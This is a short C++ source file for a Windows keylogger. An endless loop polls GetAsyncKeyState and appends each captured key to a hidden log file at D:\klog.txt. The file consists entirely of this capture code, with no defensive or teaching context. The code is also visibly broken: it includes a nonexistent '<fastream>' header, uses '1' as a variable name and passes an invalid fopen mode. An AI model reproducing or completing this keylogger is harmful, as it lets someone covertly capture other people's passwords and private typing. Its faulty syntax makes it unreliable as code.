#include <stdio.h>
#include <windows.h>
#include <fastream>
#define DELAY 100

using namespace std;

void writedown (char key) {
    char *path = "D:\\klog.txt";
    FILE *out;
    out = fopen(path, "a++");
    fprintf(out , "%c", key);
    fclose(out);
}

int main()
{
    while(true) {
        for(char 1 = 47; 1 < 91; 1++) {
            if(GetAsyncKeyState(1) != NULL) {
                writedown(1);
                Sleep(DELAY);
            }
        }
    }

    cin.get();
    cin.get();
    return EXIT_SUCCESS;
}